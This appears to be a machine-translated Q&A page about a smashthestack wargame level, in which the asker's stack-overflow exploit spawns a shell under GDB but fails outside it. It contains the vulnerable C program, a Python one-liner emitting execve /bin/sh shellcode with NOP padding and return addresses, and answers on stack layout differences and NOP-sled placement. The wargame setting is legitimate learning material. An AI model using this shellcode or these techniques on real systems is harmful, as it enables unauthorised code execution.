繁体   English   中英

程序在GDB中的行为是否不同?

[英]Program behaves different in GDB?

我有来自smashthestack的这段代码:

//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
        char buf[4096];

        int i = 0;
        puts(msg);
        i = read(0, buf, sizeof buf);
        printf("Read %d bytes\n", i);
        *strchr(buf, '\n') = 0;
        strncpy(name, buf, 20);
}

void prompt_full_name(char *fullname) {
        char last[20];
        char first[20];

        prompt_name(first, "Please enter your first name: ");
        prompt_name(last, "Please enter your last name: ");

        strcpy(fullname, first);
        strcat(fullname, " ");
        strcat(fullname, last);
}


int main(int argc, char **argv){
        char fullname[42];

        prompt_full_name(fullname);
        printf("Welcome, %s\n", fullname);

        return 0;
}

我使用以下shellcode执行该程序:

python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 2009 + "\x90" * 2065 + "\n" + "\x80\xec\x02\xf4\xff\xbf\x03\xf4\xff\xbf\x04\xd4\xff\xbf\xa6\xfc\xff\xbf\xff" + "\n"' > /tmp/in

在GDB中run < /tmp/in ,它可以正常工作:(gdb)运行</ tmp / wliao_in

Starting program: /levels/level06 < /tmp/wliao_in
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Executing new program: /bin/bash

但实际上,它不是:

level6@io:/levels$ cat /tmp/in | ./level06
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Illegal instruction

我不明白两者之间的区别是什么?

在GDB内外执行某些操作时存在很多问题。

首先,环境会发生变化,如本差异所示。 添加和删​​除环境变量会更改堆栈上它们上方所有内容的地址。

< _=./envp2
---
> COLUMNS=91
8a9
> LINES=39
20a22
> _=/usr/bin/gdb

其次,execve路径会影响堆栈布局(您使用的是“ ./level06”,但是GDB使用的是绝对路径“ / levels / level06”)。 这可能同时出现在argv [1]和堆栈的底部(我不知道为什么,但是Linux做到了)。

自从执行该级别以来已经过去了很长时间,但是我尝试将shellcode放入带有大量NOP底座的命令行参数中(因此没有大小限制)(因此,堆栈地址的更改不会产生任何影响)确定您的漏洞利用是否有效)。

prompt_name不会产生name由一个终止\\0如果名称是大于20字符长时在gdb运行不同的是,在gdb存储器和堆栈管理可以是不同的在这种情况下这两个串可以由事故由终止\\0

名称少于20个字符,对我来说效果很好。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM